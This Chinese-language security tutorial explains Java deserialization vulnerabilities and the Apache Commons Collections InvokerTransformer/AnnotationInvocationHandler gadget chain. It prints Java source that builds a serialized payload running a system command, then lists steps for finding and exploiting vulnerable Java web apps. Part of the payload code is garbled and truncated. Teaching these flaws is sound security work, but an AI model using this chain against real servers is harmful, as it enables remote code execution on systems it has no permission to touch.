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技术干货 | JAVA反序列化漏洞

  • 来源:
  • 2020-10-16 14:24
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  • 反序列化漏洞
  • 序列化和反序列化
  JAVA WEB中的序列化和反序列化
        对象序列化和反序列范例
    JAVA中执行系统命令
        重写readObject()方法
    Apache Commons Collections
  • 反序列化漏洞payload
  • JAVA Web反序列化漏洞的挖掘和利用 
Part 1、反序列化漏洞

JAVA反序列化漏洞到底是如何产生的?

1、由于很多站点或者RMI仓库等接口处存在java的反序列化功能,于是攻击者可以通过构造特定的恶意对象序列化后的流,让目标反序列化,从而达到自己的恶意预期行为,包括命令执行,甚至 getshell 等等。
2、Apache Commons Collections是开源小组Apache研发的一个 Collections 收集器框架。这个框架中有一个InvokerTransformer.java接口,实现该接口的类可以通过调用java的反射机制来调用任意函数,于是我们可以通过调用Runtime.getRuntime.exec() 函数来执行系统命令。Apache commons collections包的广泛使用,也导致了java反序列化漏洞的大面积流行。
 
所以最终结果就是如果Java应用对用户的输入做了反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化过程执行我们自定义的命令,从而实现远程任意代码执行。
 
在说反序列化漏洞原理之前我们先来说说JAVA对象的序列化和反序列化
 
Part 2、序列化和反序列化

序列化 (Serialization):将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。
反序列化:从存储区中读取该数据,并将其还原为对象的过程,称为反序列化。
 
简单的说,序列化和反序列化就是:
  • 把对象转换为字节序列的过程称为对象的序列化
  • 把字节序列恢复为对象的过程称为对象的反序列化
 
对象序列化的用途:
  • 把对象的字节序列永久地保存到硬盘上,通常存放在一个文件中
  • 在网络上传送对象的字节序列
 
当两个进程在进行远程通信时,彼此可以发送各种类型的数据。无论是何种类型的数据,最终都会以二进制的形式在网络上传送。发送方需要把这个Java对象序列化;接收方收到数据后把数据反序列化为Java对象。
 
通常,对象实例的所有字段都会被序列化,这意味着数据会被表示为实例的序列化数据。这样,能够解释该格式的代码就能够确定这些数据的值,而不依赖于该成员的可访问性。类似地,反序列化从序列化的表示形式中提取数据,并直接设置对象状态。
 
对于任何可能包含重要的安全性数据的对象,如果可能,应该使该对象不可序列化。如果它必须为可序列化的,请尝试生成特定字段来保存重要数据。如果无法实现这一点,则应注意该数据会被公开给任何拥有序列化权限的代码,并确保不让任何恶意代码获得该权限。
 
在很多应用中,需要对某些对象进行序列化,让它们离开内存空间,入住物理硬盘,以便长期保存。比如最常见的是Web服务器中的Session对象,当有 10万用户并发访问,就有可能出现10万个Session对象,内存可能吃不消,于是Web容器就会把一些seesion先序列化到硬盘中,等要用了,再把保存在硬盘中的对象还原到内存中。
 
JAVA WEB中的序列化和反序列化
  • java.io.ObjectOutputStream 代表对象输出流,它的 writeObject() 方法可对参数指定的对象进行序列化,把得到的字节序列写到一个目标输出流中
  • java.io.ObjectInputStream 代表对象输入流,它的 readObject() 方法从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回
 
只有实现了 Serializable 和 Externalizable 接口的类的对象才能被序列化和反序列化。Externalizable 接口继承自 Serializable 接口,实现 Externalizable 接口的类完全由自身来控制反序列化的行为,而实现 Serializable 接口的类既可以采用默认的反序列化方式,也可以自定义反序列化方式。
 
对象序列化包括如下步骤:
  • 创建一个对象输出流,它可以包装一个其他类型的目标输出流,如文件输出流
  • 通过对象输出流的 writeObject() 方法将对象进行序列化
 
对象反序列化的步骤如下:
  • 创建一个对象输入流,它可以包装一个其他类型的源输入流,如文件输入流
  • 通过对象输入流的 readObject() 方法将字节序列反序列化为对象
 
对象序列化和反序列范例
  • 定义一个User类,实现Serializable接口
  • 定义主类,对User对象进行序列化和反序列化
 
运行结果
 
 
JAVA中执行系统命令
 

我们先来看看JAVA中执行系统命令的方法,如下代码可以执行系统命令:whoami
 

运行结果

重写readObject()方法

 

我们上面说到了可以通过重写 readObject() 方法来自定义类的反序列化方式。所以,我们将User类的 readObject() 进行重写
 

主类中的代码不变,我们再来执行序列化和反序列化过程。可以看到,除了执行了对象的序列化和反序列化之外,还执行了我们自定义的系统命令的代码。
 

Apache Commons Collections
 

Apache Commons Collections 是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。作为Apache开源项目的重要组件,Commons Collections被广泛应用于各种Java应用的开发。

 

Commons Collections 实现了一个TransformedMap类,该类是对Java标准数据结构Map接口的一个扩展。该类可以在一个元素被加入到集合内时,自动对该元素进行特定的修饰变换,具体的变换逻辑由Transformer类定义,Transformer在TransformedMap实例化时作为参数传入。

 

 

我们可以通过TransformedMap.decorate()方法,获得一个TransformedMap的实例。如下代码是TransformedMap.decorate()方法

Transformer是一个接口,其中定义的transform()函数用来将一个对象转换成另一个对象。如下所示
 


 

当TransformedMap中的任意项的Key或者Value被修改,相应的Transformer的transform()方法就会被调用。除此以外,多个Transformer还能串起来,形成ChainedTransformer。 

 

Apache Commons Collections中已经实现了一些常见的 Transformer,其中的 InvokerTransformer 接口实现了反射链,可以通过Java的反射机制来执行任意命令。于是我们可以通过InvokerTransformer的反射链获得Runtime类来执行系统命令 

 

传送门——> InvokerTransformer反射链

 

在上面的 InvokerTransformer反射链 这篇文章中我已经介绍了如何通过修改Value值来触发执行反射链来执行任意命令。

 

但是目前的构造还需要依赖于修改Map中的Value值去触发调用反射链,我们需要想办法通过readObject()直接触发。

 

如果某个可序列化的类重写了readObject()方法,并且在readObject()中对Map类型的变量进行了键值修改操作,并且这个Map参数是可控的,就可以实现我们的攻击目标了。

 

于是,我们找到了这个类:AnnotationInvocationHandler ,这个类有一个成员变量 memberValues Map<String,Object>类型,并且在重写的 readObject() 方法中有 memberValue.setValue() 修改Value的操作。简直是完美!

 

 

于是我们可以实例化一个AnnotationInvocationHandler类,将其成员变量memberValues赋值为精心构造的恶意TransformedMap对象。然后将其序列化,提交给未做安全检查的Java应用。Java应用在进行反序列化操作时,执行了readObject()函数,修改了Map的Value,则会触发TransformedMap的变换函数transform(),再通过反射链调用了Runtime.getRuntime.exec("XXX") 命令,最终就可以执行我们的任意代码了,一切是那么的天衣无缝!

Part 3、反序列化漏洞payload

反序列化时会执行对象的readObject()方法
Runtime.getRuntime.exec(“xx”)可以执行系统命令
InvokerTransformer的transform()方法可以通过反射链调用Runtime.getRuntime.exec(“xx”)函数来执行系统命令
TransformedMap类的decorate方法用来实例化一个TransformedMap对象,即public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) ,第二个和第三个参数传入一个Transformer,当key值和Value值改变时,会调用Transformer的transformer()方法。于是我们可以将第三个参数传入 InvokerTransformer
 
Payload构造思路:我们构造恶意的类:AnnotationInvocationHandler,将该类的成员变量memberValues赋值为我们精心构造的TransformedMap对象,并将AnnotationInvocationHandler类进行序列化,然后交给JAVA WEB应用进行反序列化。再进行反序列化时,会执行readObject()方法,该方法会对成员变量TransformedMap的Value值进行修改,该修改触发了TransformedMap实例化时传入的参数InvokerTransformer的transform()方法,InvokerTransformer.transform()方法通过反射链调用Runtime.getRuntime.exec(“xx”)函数来执行系统命令

 


 

如下代码,我们通过构造恶意的类AnnotationInvocationHandler并将其序列化保存在 payload.bin文件中,只要将它给存在反序列化漏洞的JAVA WEB 应用进行反序列化就能执行我们的命令了。

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import java.util.Map.Entry;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
public class main2 {
pTransfor new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})};
Transformer transformedChain = new ChainedTransformer(transformers); //实例化一个反射链
Map innerMap = new HashMap(); //实例化一个Map对象
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformedChain); //将Map对象和反射链作为参数传入
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); //得到 AnnotationInvocationHandler类的字节码文件、
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, outerMap); //得到我们构造好的 AnnotationInvocationHandler类实例
FileOutputStream f = new FileOutputStream("payload.bin");
ObjectOutputStream out = new ObjectOutputStream(f); //创建一个对象输出流
out.writeObject(instance); //将我们构造的 AnnotationInvocationHandler类进行序列化
out.flush();
out.close();
}
}

Part 4、JAVA Web反序列化漏洞的挖掘和利用


1:漏洞触发场景

 

在java编写的web应用与web服务器间通常会发送大量的序列化对象例如以下场景:  

  • HTTP请求中的参数,cookies以及Parameters。  

  • RMI协议,被广泛使用的RMI协议完全基于序列化   

  • JMX 同样用于处理序列化对象   

  • 自定义协议 用来接收与发送原始的java对象

     

2:漏洞挖掘

 

(1)确定反序列化输入点  

首先应找出readObject方法调用,在找到之后进行下一步的注入操作。一般可以通过以下方法进行查找:

    1)源码审计:寻找可以利用的“靶点”,即确定调用反序列化函数readObject的调用地点。  

    2)对该应用进行网络行为抓包,寻找序列化数据,java序列化的数据一般会以标记(ac ed 00 05)开头,base64编码后的特征为rO0AB。  

(2)再考察应用的Class Path中是否包含Apache Commons Collections库   

(3)生成反序列化的payload   

(4)提交我们的payload数据


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